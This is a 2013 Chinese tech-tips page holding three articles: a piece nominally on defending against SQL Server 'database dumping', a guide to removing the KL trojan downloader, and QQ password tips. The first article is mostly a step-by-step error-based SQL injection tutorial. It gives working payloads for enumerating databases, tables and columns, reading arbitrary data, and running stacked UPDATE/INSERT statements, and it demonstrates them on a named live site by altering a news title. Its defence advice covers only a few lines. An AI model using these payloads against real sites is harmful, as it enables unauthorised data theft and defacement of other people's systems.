热点推荐:
您现在的位置: 电脑学习网 >> 网络技术 >> 正文

如何防范暴库攻击

2013-09-12 15:53:47  来源: 网络技术 

  最近,一个沙特阿拉伯的少年黑客成功侵入微软英国网站,贴上一幅儿童摇沙特阿拉伯国旗的照片,覆盖了原来的内容。看到这里,你是不是为自己的网站安全感到担忧呢?黑客在入侵网站过程中一般会测试能否进行SQL注入,我们应该如何防范呢?
  上期我们介绍了Access(MSSQL)数据库的防范SQL注入的方法,该注入方法主要针对的是个人网站以及小型企业,但对电子商务网站、大中型企事业网站和大中型商业网站的管理员们来说就不适用了,因为这些网站很多都采用SQL Server作为数据库的。
  所以,本期小编将教大家如何防范针对SQL Server数据库的暴库。所谓暴库,就是利用各种方法得到数据库文件或是数据库文件的查看/修改权限,这样直接就有了站点的前台或者后台的权限。
ASP+SQL Server暴库技巧
1.暴出SQL Server表名和列名
  基本方法:查找并确认一个ASP+SQL Server注入点,在注入点后提交“'having 1=1--”,得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--”,可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--”,可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。wwW.itCoMPuTeR.Com.cn
  小知识:暴表名与列名是SQL语句“having 1=1—”与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。
  基本方法只能暴出数据库中的当前表。如果某个表中包含的列名非常多,用上述基本方法就非常困难了。比较有效的方法是,利用“0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])”语句,暴出数据库中任意表名和列名,其中“[N]”表示数据库中的第N个表。
  第一步:在注入点后提交如下语句:“0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)”,因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较就会出错。
  因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误'80040e07'[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值'Northwind'转换为数据类型为 int 的列时发生语法错误。”(图1),这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind”。改变“dbid”的值可以得出所有的库名。

  第二步:得到了库名后,现在要得到库中所有的表名,提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ”,这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名“spt_mon ito”就被暴出来了(图2)。

  第三步:再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))”提交后,又暴出一个表名为“cd512”(图3)。依次提交 “and name not in('spt_monito','cd512',..)”就可以查出所有的表名。

2.读取SQL Server数据库中的任意数据
  知道了数据库的表名、列名后,可以利用“查询语句”读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1”( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。这里以注入点http://online.idggame.com.cn/tiantang/shownews.asp?id=227为例进行讲解:
  首先,在注入点后提交“'having 1=1--”,从返回信息中得到表名为news,列名为id。接着用上面介绍的方法得到另外的列名如c_id、s_id、username、topic等。
  然后,将“查询语句”中的[N]改为221,并提交,如“and (Select Top 1 topic FROM news where id=221)>1”,该句的意思表示从“news”表中读出“id=221”的新闻标题“topic”,提交后返回页信息中包含“视频MM大赛初赛告捷 绿色6月揭开火爆半决赛”这段内容(图4),这就说明“news”表中“topic”列的第一个值为“视频MM大赛初赛告捷 绿色6月揭开火爆半决赛”。

  由于这是一个文章系统,因此其在网页中代表的真实含义为:ID为221的文章其标题为“视频MM大赛初赛告捷 绿色6月揭开火爆半决赛”。
  小提示:上面的例子中读取的只是一篇文章的标题,在实际的应用中,可以读取包含用户名和密码表中的数据,可以获得任意用户名的密码。这种方法比使用ASCII码一个一个地猜解快得多。
3.修改数据库,插入数据
  当成功地获得了表名,列名后,就可以在数据库里修改甚至插入新的数据。例如可以将上面的新闻标题进行修改,提交如下命令:“ ;update news set topic='我不是黑客,我喜欢MM,哈哈!' WHERE id='221'”。
  命令运行后正常显示,在IE地址栏中输入链接“http://online.idggame.com.cn/tiantang/shownews.asp?id=221”,可以看到ID为221的文章其标题已经变成了更改的内容:“我不是黑客,我喜欢MM,哈哈!”(图5)。

  如果要在数据库中插入一条新的数据,可提交如下语句:“;insert into news(id,topic) values('228','您的网站有安全漏洞,请注意防护')--”提交语句后返回正常页面,说明语句正常执行了。然后打开链接“http://online.idggame.com.cn/tiantang/shownews.asp?id=228”时,可以看到新添加的文章。
ASP+SQL如何防范暴库
  服务器上放置的网站比较多,管理员不可能针对所有网站的每个页面来审查是否存在SQL注入漏洞。因为SQL注入入侵是根据IIS给出的ASP错误提示信息来入侵的,所以只要管理员把IIS设置成不管出什么样的ASP错误,只给出一种错误提示信息,即HTTP 500错误,那么黑客就没办法进行入侵了。具体设置如下:
  单击“开始”菜单,选择“设置→控制面板”命令,然后进入“控制面板”的“管理工具”中,双击打开“Internet信息服务”,在“默认网站”上单击右键,在弹出的快捷菜单中选择“属性”命令。
  然后在打开的“默认网站属性”对话框中选择“自定义错误”标签,把500:100这个错误的默认提示页面 C:\WINDOWS\Help\iisHelp\common\500-100.asp改成C:\WINDOWS\Help\iisHelp\common\500.htm(图6),这样无论ASP运行中出什么错,服务器都只提示HTTP 500错误,杜绝了黑客利用错误提示信息暴出数据库。

攻防博弈
  攻 黑客:我们除了对ASP+SQL Server类的网站进行注入攻击外,还可以对PHP+MYSQL类的网站进行注入。相对而言,ASP+SQL Server的注入攻击比较普及,防御方法也比较单一,而知道这么防御PHP+MYSQL注入攻击的人就比较少,且防御很困难,我们还是可以继续为所欲为。
  防 编辑:对客户端提交的变量参数进行仔细检测、相关的账户信息加密、对IIS上进行安全设置都可以进一步杜绝ASP类型网站的SQL注入入侵攻击,但是针对PHP+MYSQL类型的网站来说,这些安全防御工作还是不够的。我们还应在IIS中为每个网站设置好执行权限,不能轻易地给静态网站以“脚本和可执行”权限。对于那些通过网站后台管理中心上传文件存放的目录,直接将执行权限设为“无”即可。

 
如何清除KL木马

  读者来信:我的电脑被幕后黑手操纵了,每次打开IE都会弹出软件安装窗口,接着就开始运行自动化的安装过程。在打开IE的时候,还会弹出XP防火墙的提示窗口。我怀疑是最近闪存盘病毒,可是右键单击盘符却没有发现Auto之类的命令。www.sq120.com推荐文章

  重新安装系统后,我仍然无法清除该病毒。每次都无法双击或者右键单击打开D盘。请问《电脑报》的安全专家,是什么幽灵控制了我的电脑?我应该怎么办?
  安全专家:根据读者来信反映的情况,我们知道这是目前猖狂作案的KL木马下载器在搞鬼。相比起普通的闪存病毒,其侵害手段更加隐秘,一般电脑初学者无法通过重装来清除。
  感染该病毒后,病毒会插入IE进程和Explorer进程来下载流氓软件,XP防火墙会弹出是否连接的窗口。显而易见,病毒是以DLL的形式插入进程来进行破坏的,而病毒的初始程序是可执行文件。
  该病毒运行后会尝试感染EXE可执行文件。某些文件特别是一些软件的安装包、电子书等,被该病毒感染后会出现错误,无法正常使用。
  采用常规的闪存盘病毒的清理方法,并不能完全清除KL木马下载器。KL木马下载器并不在右键菜单添加“Auto”命令,这会麻痹部分用户,其实该病毒在双击打开磁盘分区时就运行了,病毒就隐藏在分区的RECYCLER目录即回收站下,而病毒的autorun.inf文件的技术含量也大为提高。
  从病毒代码中,我们发现右键菜单的“打开”和“资源管理器”命令其实是执行病毒程序,默认的双击的结果也是运行病毒。难怪用户无法发现病毒在自动运行,这也是多次重装后仍然让病毒逍遥法外的重要原因。
KL木马下载器全面清除方案
方案一:菜鸟清除法
  首先,重装系统,完成后不要打开任何磁盘直接进入“我的电脑”,选择“工具→文件夹选项”命令,点击“查看”选项,在“隐藏文件和文件夹”下选择“显示所有文件和文件夹”选项,这样就可以让隐藏的病毒文件现身了。
  然后,右击“我的电脑”选择“资源管理器”命令,在打开的资源管理器中检查非系统盘符下的RECYCLER(是隐藏属性)中是否有Autosetup.exe,如果有的话就进行删除,接着回到根目录删除autorun.inf文件。
  一定要仔细检查所有盘符下的该目录,做到彻底清除病毒文件。最后再安装杀毒软件,修复被病毒感染的文件。
方案二:高手歼灭法
  第一步:重启系统,按F8进入安全模式。使用《超级巡警》终止病毒创建的进程Services.exe、inini.exe、meecall.exe、UUSeePlayer.exe。然后删除下载的流氓软件安装包和病毒进程的文件(如C:\windows\services.exe)。
  第二步:使用《冰刃》删除盘符下的autorun.inf文件、Autosetup.exe文件。这样就可以防止再次运行病毒了。
  第三步:打开System Repair Engineer,进入“启动项目”选项,可以看到很多非法启动项目。选中meecall、swg、KernelFaultCheck、OSSelectReinstal、Windowsupdate、SmCtrlDrv、IdnSvr、tzc02,0,tzchange.exe /F Pacific SA Standard Time /S 10 6 2 23 59 59 999 /E 3 6 2 23 59 59 999 /G、IFEo[Explorer.exe]等删除。
  还要记得删除启动程序目录下的相关文件,然后进入“系统修复”选项,选择“浏览器加载项”删除流氓软件的BHO、Activex等项目。
  第四步:重新启动系统发现已经恢复正常了。不过,你会发现双击或者右键单击打开感染过病毒的盘符,会出现查找病毒文件而无法正常进入的情况,这是因为病毒自动运行的信息还在注册表里。
  我们需要打开注册表编辑器进行修复,进入“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{f39bd44e-53b7-11dc-8145-806d6172696f}”项,删除下面的shell子项即可恢复正常了(如图)。

预防技巧
  KL木马下载器是一种闪存盘病毒,用户可以安装《U盘病毒免疫器》(下载地址:http://www.cpcw.com/bzsoft/)之类的安全工具进行预防。此外,我们还需要经常给系统打补丁,用《卡卡上网助手》的IE防漏墙功能来防范木马程序的自动运行。

 
如何保护QQ密码   QQ的使用率非常高,它的密码安全问题一直备受关注。设置复杂密码的办法固然有效,但本文所术方法是在假设存在木马的情况下,所以更值得推荐。www.sq120.com推荐文章

方法1:错位法巧输密码
  关于巧输密码,最早的有复制/粘贴法、软键盘法,我用的是错位法:输入密码时先输后边(或中间)的,再输入前边的。
  需要注意的是,中间不能使用方向键,而是用鼠标。因为盗号木马虽能够获取方向键的动作,但它们却无法获取鼠标的动作。这样使用后,盗号木马就捕捉不到自己的密码了。
方法2:用好瑞星防火墙
  我安装的是瑞星防火墙,里面有个密码保护模式,启用它也可以很好地保护密码。具体使用不再赘述。它有些副作用:在浏览腾讯资讯和修改密码时,会出现脱机浏览的情况。可用如下方法解决:
  1.浏览腾讯资讯时,点击“重试”即可;
  2.修改密码时,可直接输入https://acc ount.qq.com进入修改密码页面;
  3.或者可以更换腾讯浏览器,就不会有任何问题了。
  说明:方法1比较适用于网吧、陌生电脑等不熟悉的场合,方法2则比较简单实用,适用于家庭。此外,最新版的QQ已经增加了安全检查按钮,可以检查你本机上的盗号木马以及系统的漏洞,另外你应该注意不要点击陌生的链接,最好不要使用QQ邮箱等等。  
From:http://www.itcomputer.com.cn/Article/Network/201309/411.html
  • 上一篇文章:

  • 下一篇文章:
  • Copyright © 2005-2013 电脑知识网 Computer Knowledge   All rights reserved.